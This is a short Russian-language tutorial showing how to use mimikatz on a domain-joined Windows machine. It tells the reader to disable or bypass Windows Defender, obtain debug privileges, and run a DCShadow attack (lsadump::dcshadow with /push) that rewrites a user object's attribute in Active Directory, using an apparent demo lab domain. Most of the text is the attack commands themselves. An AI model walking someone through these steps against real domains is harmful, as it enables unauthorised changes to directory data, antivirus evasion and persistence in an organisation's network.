Атака на домен с использованием утилиты mimikatz

В этом мануале рассмотрен будет простой пример работы с утилитой mimikatz, а именно, изменение атрибута description у объекта пользователя.

Автор: Скрыльников Вячеслав Владимирович

**Часть 1. Настройка утилиты mimikatz для работы.**

Для атаки мы используем машину на Windows введённую в домен. Скачиваем на неё архив с утилитой, распаковываем в папку C:\mimikatz

Так же желательно отключить защитник Windows, или добавить папку C:\mimikatz в исключения, так как он считает эту утилиту вирусом, и сразу удалит исполняемый файл.

**Часть 2. Инъекция в базу LDAP.**

Открываем cmd от имени администратора (один из способов: нажать сочетание клавиш win+r, ввести cmd, и нажать сочетание ctrl+shift+enter).

Запускаем утилиту mimikatz:

C:\mimikatz\x64\mimikatz.exe

(Если файл не найден, его удалил антивирусник ☺)

Открывается утилита mimikatz.

Первым делом необходимо дать ей права на управление процессами.

privilege::debug

После запускаем вторую консоль mimikatz командой:

process::runp

В отрывшейся консоли следующей командой мы указываем объект(/object), атрибут которого хотим изменить и после сам атрибут(/attribute) и его значение(/value).

lsadump::dcshadow /stack /object:"CN=Gon,OU=Users,OU=Center,DC=demo,DC=lab" /attribute:description /value:changemeifyoucan

И далее запускаем команду на попытку изменения

lsadump::dcshadow

Что бы изменения применились, необходимо в первой консоли (через которую мы открыли вторую) выполнить следующую команду:

lsadump::dcshadow /push

На это всё. Вы можете убедиться, что атрибут был изменён, перейдя в ваш AD и выбрав изменяемый объект (в моём случае пользователь Gon)

